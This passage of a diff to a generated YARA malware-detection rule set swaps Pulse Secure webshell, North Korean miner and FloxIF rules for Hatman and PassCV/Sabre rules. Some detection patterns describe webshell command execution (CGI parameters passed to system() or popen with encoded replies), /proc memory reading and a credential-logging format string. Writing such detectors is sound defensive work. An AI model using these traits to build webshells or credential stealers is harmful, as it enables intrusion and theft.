 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_floxif_flystudio.yar#L21-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d03f02a270d8664175b65398c01ec4f0ea182437b31847f9bf4181edb0c36bb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L74-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70d33c40b919d1852eded8c4afa96978c8b4503f95fb4a48e1d8b89864b77d38"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b85147366890598518d4f277d44506eef871fd7fc6050d8f8e68889cae066d9e"
+		tags = "HATMAN"
 
 	strings:
-		$s1 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
-		$s2 = "www.cfyhack.cn" fullword ascii
+		$loadoff_be = { 80 60 00 04  48 00 ?? ??  70 60 ff ff  28 00 00 00
+                        40 82 ?? ??  28 03 00 00  41 82 ?? ??              }
+		$loadoff_le = { 04 00 60 80  ?? ?? 00 48  ff ff 60 70  00 00 00 28
+                        ?? ?? 82 40  00 00 03 28  ?? ?? 82 41              }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and (pe.imphash()=="65ae5cf17140aeaf91e3e9911da0ee3e" or 1 of them )
+		$loadoff_be or $loadoff_le
 }
-rule SIGNATURE_BASE_NK_Miner_Malware_Jan18_1 : FILE
+private rule SIGNATURE_BASE_Hatman_Origaddr_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects Noth Korean Monero Miner mentioned in AlienVault report"
-		author = "Florian Roth (Nextron Systems) (original rule by Chris Doman)"
-		id = "40f53c36-9e14-5307-9740-e6f514afc7ec"
-		date = "2018-01-09"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "5eb29f1f-f49f-54e9-8a9e-ba10fc9c826e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/PChE1z"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nkminer.yar#L11-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb75fe7d70b547a4774b74c01e11479949dfccb8645af330f87b51daaf0d8dbf"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L51-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9f775326dc0496662fbec98438e0273c51a88a434542dfcabd6e8b11131ab3e"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "0024e32c0199ded445c0b968601f21cc92fc0c534d2642f2dd64c1c978ff01f3"
-		hash2 = "42300b6a09f183ae167d7a11d9c6df21d022a5f02df346350d3d875d557d3b76"
+		tags = "HATMAN"
 
 	strings:
-		$x0 = "c:\\users\\jawhar\\documents\\" ascii
-		$x1 = "C:\\Users\\Jawhar\\documents\\" ascii
-		$x2 = "The number of processors on this computer is {0}." fullword wide
-		$x3 = { 00 00 1F 43 00 3A 00 5C 00 4E 00 65 00 77 00 44
-              00 69 00 72 00 65 00 63 00 74 00 6F 00 72 00 79
-              00 00 }
-		$x4 = "Le fichier Hello txt n'existe pas" fullword wide
-		$x5 = "C:\\NewDirectory2\\info2" fullword wide
-		$a = "82e999fb-a6e0-4094-aa1f-1a306069d1a5" ascii
-		$b = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRy5YeFCqgoUMnzumvS" ascii
-		$c = "barjuok.ryongnamsan.edu.kp" wide ascii
-		$d = "C:\\SoftwaresInstall\\soft" wide ascii
-		$e = "C:\\Windows\\Sys64\\intelservice.exe" wide ascii
-		$f = "C:\\Windows\\Sys64\\updater.exe" wide ascii
+		$oaddr_be = { 3c 60 00 03  60 63 96 f4  4e 80 00 20 }
+		$oaddr_le = { 03 00 60 3c  f4 96 63 60  20 00 80 4e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 1 of them
+		$oaddr_be or $oaddr_le
 }
-rule SIGNATURE_BASE_FE_Webshell_PL_ATRIUM_1
+private rule SIGNATURE_BASE_Hatman_Memcpy_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "b2663343-0bae-5215-a443-866ab8626bff"
-		date = "2021-04-16"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "2eb11f72-b37f-563f-8ce9-c4d4388598d3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L12-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ca0175d86049fa7c796ea06b413857a3"
-		logic_hash = "869b397616495c644beb997602eac84ddcdbacce4c14755c555f5bda36663ca2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L29-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e1566cc09e1ddd70cdb3b199f6972931f84a29ae2ef4815a5ecf1fe42afe42b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "HATMAN"
 
 	strings:
-		$s1 = "CGI::param("
-		$s2 = "system("
-		$s3 = /if[\x09\x20]{0,32}\(CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)\)\s{0,128}\{[\x09\x20]{0,32}print [\x22\x27]Cache-Control: no-cache\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}print [\x22\x27]Content-type: text\/html\\n\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}my \$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)[\x09\x20]{0,32};\s{0,128}system\([\x22\x27]\$/
+		$memcpy_be = { 7c a9 03 a6  38 84 ff ff  38 63 ff ff  8c a4 00 01
+                        9c a3 00 01  42 00 ff f8  4e 80 00 20              }
+		$memcpy_le = { a6 03 a9 7c  ff ff 84 38  ff ff 63 38  01 00 a4 8c
+                        01 00 a3 9c  f8 ff 00 42  20 00 80 4e              }
 
 	condition:
-		all of them
+		$memcpy_be or $memcpy_le
 }
-rule SIGNATURE_BASE_FE_Trojan_SH_ATRIUM_1
+private rule SIGNATURE_BASE_Hatman_Nullsub_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "c49441f4-a138-534c-a858-a7462ed865c9"
-		date = "2021-04-16"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "1b0e708d-6e4c-5688-9fc6-c31a4fb3c4a8"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L29-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a631b7a8a11e6df3fccb21f4d34dbd8a"
-		logic_hash = "672a293660d89d5d7d62a658c360bad0b6408611d8794744b17a81e6a75ceea7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L45-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e7a7494e68450a03aeddfaa1fd0a3fb3cff06684d5bb0c4615571e698293fe3"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "HATMAN"
 
 	strings:
-		$s1 = "CGI::param("
-		$s2 = "Cache-Control: no-cache"
-		$s3 = "system("
-		$s4 = /sed -i [^\r\n]{1,128}CGI::param\([^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Cache-Control: no-cache[^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Content-type: text\/html[^\r\n]{1,128}my [^\r\n]{1,128}=[\x09\x20]{0,32}CGI::param\([^\r\n]{1,128}system\(/
+		$nullsub = { ff ff 60 38  02 00 00 44  20 00 80 4e }
 
 	condition:
-		all of them
+		$nullsub
 }
-rule SIGNATURE_BASE_FE_APT_Webshell_PL_HARDPULSE
+private rule SIGNATURE_BASE_Hatman_Dividers_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "f9a2922e-6b8e-5f92-a947-3215ee8883ac"
-		date = "2021-04-16"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "1612a184-e06c-5c1b-987d-04e330e17ed0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L46-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "980cba9e82faf194edb6f3cc20dc73ff"
-		logic_hash = "37fc40fd998d3294edb05707170bc2deec524fc6451bff212901f9ac3e34bb35"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L38-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "92ec47ea81b78ec9b05f5c17164daaef7112c8590b4443f70cf3bf2efd108e1f"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 85
+		tags = "HATMAN"
 
 	strings:
-		$r1 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}unless[\x09\x20]{0,32}\(open\(\$\w{1,64},[\x09\x20]{0,32}\$\w{1,64}\)\)\s{0,128}\{\s{1,128}goto[\x09\x20]{1,32}\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}return[\x09\x20]{1,32}0[\x09\x20]{0,32}\x3b\s{0,128}\}/
-		$r2 = /open[\x09\x20]{0,32}\(\*\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>/
-		$r3 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}print[\x09\x20]{0,32}[\x22\x27]Content-type/
-		$s1 = "CGI::request_method()"
-		$s2 = "CGI::param("
-		$s3 = "syswrite("
-		$s4 = "print $_"
+		$div1 = { 9a 78 56 00 }
+		$div2 = { 34 12 00 00 }
 
 	condition:
-		all of them
+		$div1 and $div2
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_Linux32_LOCKPICK_1 : FILE
+private rule SIGNATURE_BASE_Hatman_Setstatus_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "00c09378-25a0-55f1-8d93-7b22d98bd8c2"
-		date = "2021-04-16"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "a0619dad-7cee-585a-9246-b3d4554e512f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L66-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e8bfd3f5a2806104316902bbe1195ee8"
-		logic_hash = "1623c2dc63fe7d595069a024b715bbca267ec1c9400afcadc377ae58afb81a2a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L21-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "264292bbc479413bf70f05b96bcea3c856906eb8c711720831bea9b887a7ffb0"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "HATMAN"
 
 	strings:
-		$sb1 = { 83 ?? 63 0F 84 [4] 8B 45 ?? 83 ?? 01 89 ?? 24 89 44 24 04 E8 [4] 85 C0 }
-		$sb2 = { 83 [2] 63 74 ?? 89 ?? 24 04 89 ?? 24 E8 [4] 83 [2] 01 85 C0 0F [5] EB 00 8B ?? 04 83 F8 02 7? ?? 83 E8 01 C1 E0 02 83 C0 00 89 44 24 08 8D 83 [4] 89 44 24 04 8B ?? 89 04 24 E8 }
+		$preset = { 80 00 40 3c  00 00 62 80  40 00 80 3c  40 20 03 7c
+                        ?? ?? 82 40  04 00 62 80  60 00 80 3c  40 20 03 7c
+                        ?? ?? 82 40  ?? ?? 42 38                           }
 
 	condition:
-		(( uint32(0)==0x464c457f) and ( uint8(4)==1)) and (@sb1[1]<@sb2[1])
+		$preset
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_Linux32_PACEMAKER : FILE
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_1 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "459e26f1-4ea9-56dd-ad71-0ed2c7499aea"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "99a26daa-c563-5b23-89b9-965d8ce7229d"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L81-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7881c4de4d57828f7e1cab15687274b"
-		logic_hash = "f3f89744ce558179f36da3b412ba4afb3798684e6d976ef59de565b5a3323ad6"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L10-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dfa356b4dff12c3de467c74763fc4d233db9ff5bc3e9ac9f052d331fa47a4ded"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "24a9bfbff81615a42e42755711c8d04f359f3bf815fb338022edca860ff1908a"
+		hash2 = "e61e56b8f2666b9e605127b4fcc7dc23871c1ae25aa0a4ea23b48c9de35d5f55"
 
 	strings:
-		$s1 = "\x00/proc/%d/mem\x00"
-		$s2 = "\x00/proc/%s/maps\x00"
-		$s3 = "\x00/proc/%s/cmdline\x00"
-		$sb1 = { C7 44 24 08 10 00 00 00 C7 44 24 04 00 00 00 00 8D 45 E0 89 04 24 E8 [4] 8B 45 F4 83 C0 0B C7 44 24 08 10 00 00 00 89 44 24 04 8D 45 E0 89 04 24 E8 [4] 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] EB }
-		$sb2 = { 8B 95 [4] B8 [4] 8D 8D [4] 89 4C 24 10 8D 8D [4] 89 4C 24 0C 89 54 24 08 89 44 24 04 8D 85 [4] 89 04 24 E8 [4] C7 44 24 08 02 00 00 00 C7 44 24 04 00 00 00 00 8B 45 ?? 89 04 24 E8 [4] 89 45 ?? 8D 85 [4] 89 04 24 E8 [4] 89 44 24 08 8D 85 [4] 89 44 24 04 8B 45 ?? 89 04 24 E8 [4] 8B 45 ?? 89 45 ?? C7 45 ?? 00 00 00 00 [0-16] 83 45 ?? 01 8B 45 ?? 3B 45 0C }
+		$x1 = "F:\\Excalibur\\Excalibur\\Excalibur\\" ascii
+		$x2 = "bin\\oSaberSvc.pdb" ascii
+		$s1 = "cmd.exe /c MD " fullword ascii
+		$s2 = "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=baidu&wd=ip138" fullword wide
+		$s3 = "CloudRun.exe" fullword wide
+		$s4 = "SaberSvcB.exe" fullword wide
+		$s5 = "SaberSvc.exe" fullword wide
+		$s6 = "SaberSvcW.exe" fullword wide
+		$s7 = "tianshiyed@iaomaomark1#23mark123tokenmarkqwebjiuga664115" fullword wide
+		$s8 = "Internet Connect Failed!" fullword ascii
 
 	condition:
-		(( uint32(0)==0x464c457f) and ( uint8(4)==1)) and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) and 5 of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_Linux_PACEMAKER : FILE
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_Signing_Cert : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "5a20260a-5389-57da-956c-97063fed5015"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2b2d1313-6454-5e3f-9b58-5b1a26739ba8"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L99-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7881c4de4d57828f7e1cab15687274b"
-		logic_hash = "cf83024cbbd500a301ac3c859b680cd79acabc232ea6f42c23fe9f8918a8d914"
-		score = 75
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L36-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ead1de262858960a13b375713183f775bc275fbf4beba4c0839cef2baa5e9f00"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7c32885c258a6d5be37ebe83643f00165da3ebf963471503909781540204752e"
 
 	strings:
-		$s1 = "\x00Name:%s || Pwd:%s || AuthNum:%s\x0a\x00"
-		$s2 = "\x00/proc/%d/mem\x00"
-		$s3 = "\x00/proc/%s/maps\x00"
-		$s4 = "\x00/proc/%s/cmdline\x00"
+		$s1 = "WOODTALE TECHNOLOGY INC" ascii
+		$s2 = "Flyingbird Technology Limited" ascii
+		$s3 = "Neoact Co., Ltd." ascii
+		$s4 = "AmazGame Age Internet Technology Co., Ltd" ascii
+		$s5 = "EMG Technology Limited" ascii
+		$s6 = "Zemi Interactive Co., Ltd" ascii
+		$s7 = "337 Technology Limited" ascii
+		$s8 = "Runewaker Entertainment0" fullword ascii
 
 	condition:
-		( uint32(0)==0x464c457f) and all of them
+		( uint16(0)==0x5a4d and filesize <3000KB and 1 of them )
 }
-rule SIGNATURE_BASE_FE_APT_Webshell_PL_PULSECHECK_1
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_2 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "f375fdd8-567b-569b-85f4-af54a35d2a93"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd9eb5f6-9faa-584d-b3b5-6dcfdc3f359c"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L116-L136"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1"
-		logic_hash = "aba457dd33232ef37ca145c5b7cd9c5fe809730339a55c5e90ac46b4a136f6cb"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L59-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f640f1dc60c6714195dcdb9a0bb4fb0c34e0a62673bca00c7f49f7b73c3f9b0a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "475d1c2d36b2cf28b28b202ada78168e7482a98b42ff980bbb2f65c6483db5b4"
+		hash2 = "009645c628e719fad2e280ef60bbd8e49bf057196ac09b3f70065f1ad2df9b78"
+		hash3 = "92479c7503393fc4b8dd7c5cd1d3479a182abca3cda21943279c68a8eef9c64b"
+		hash4 = "0c7b952c64db7add5b8b50b1199fc7d82e9b6ac07193d9ec30e5b8d353b1f6d2"
 
 	strings:
-		$r1 = /while[\x09\x20]{0,32}\(<\w{1,64}>\)[\x09\x20]{0,32}\{\s{1,256}\$\w{1,64}[\x09\x20]{0,32}\.=[\x09\x20]{0,32}\$_;\s{0,256}\}/
-		$s1 = "use Crypt::RC4;"
-		$s2 = "use MIME::Base64"
-		$s3 = "MIME::Base64::decode("
-		$s4 = "popen("
-		$s5 = " .= $_;"
-		$s6 = "print MIME::Base64::encode(RC4("
-		$s7 = "HTTP_X_"
+		$x1 = "ncProxyXll" fullword ascii
+		$s1 = "Uniscribe.dll" fullword ascii
+		$s2 = "WS2_32.dll" ascii
+		$s3 = "ProxyDll" fullword ascii
+		$s4 = "JDNSAPI.dll" fullword ascii
+		$s5 = "x64.dat" fullword ascii
+		$s6 = "LSpyb2" fullword ascii
 
 	condition:
-		$s1 and $s2 and (@s3[1]<@s4[1]) and (@s4[1]<@s5[1]) and (@s5[1]<@s6[1]) and (#s7>2) and $r1
+		( uint16(0)==0x5a4d and filesize <4000KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_PL_PULSEJUMP_1
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_Excalibur_1 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "690cc347-e60f-5cac-b65d-367ecee69251"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eadad36c-49c8-50e1-8334-813d2e760fe9"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L137-L153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "91ee23ee24e100ba4a943bb4c15adb4c"
-		logic_hash = "c9aa2b9ef8aff14c20ed6597b1a71eafc3e3c181aabf9a3a68df18945207ff86"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L84-L105"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ffbd971368420460573c4ecc68261088ffacf91ab9ae72405b41393b04aa2b46"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "21566f5ff7d46cc9256dae8bc7e4c57f2b9261f95f6ad2ac921558582ea50dfb"
+		hash2 = "02922c5d994e81629d650be2a00507ec5ca221a501fe3827b5ed03b4d9f4fb70"
 
 	strings:
-		$s1 = "open("
-		$s2 = ">>/tmp/"
-		$s3 = "syswrite("
-		$s4 = /\}[\x09\x20]{0,32}elsif[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27](Radius|Samba|AD)[\x22\x27][\x09\x20]{0,32}\)\s{0,128}\{\s{0,128}@\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}&/
+		$x1 = "F:\\Excalibur\\Excalibur\\" ascii
+		$x2 = "Excalibur\\bin\\Shell.pdb" ascii
+		$x3 = "SaberSvc.exe" wide
+		$s1 = "BBB.exe" fullword wide
+		$s2 = "AAA.exe" fullword wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of ($x*) or all of ($s*)) or 3 of them
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_PL_QUIETPULSE
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_3 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "4c49eef7-b8fa-55d5-8fb8-8964f6f50003"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "03e5efc0-6076-501f-a600-b3d9008a8711"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L154-L172"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "00575bec8d74e221ff6248228c509a16"
-		logic_hash = "226a56369e141834d4834400bbf1a006bbb6e9b39e16e24b0106bff1a9c202a9"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L107-L124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1032f41688e7cb3fe0be33b143c1af43ee705737a70af3b336ba8504ffe169a9"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "28c7575b2368a9b58d0d1bf22257c4811bd3c212bd606afc7e65904041c29ce1"
 
 	strings:
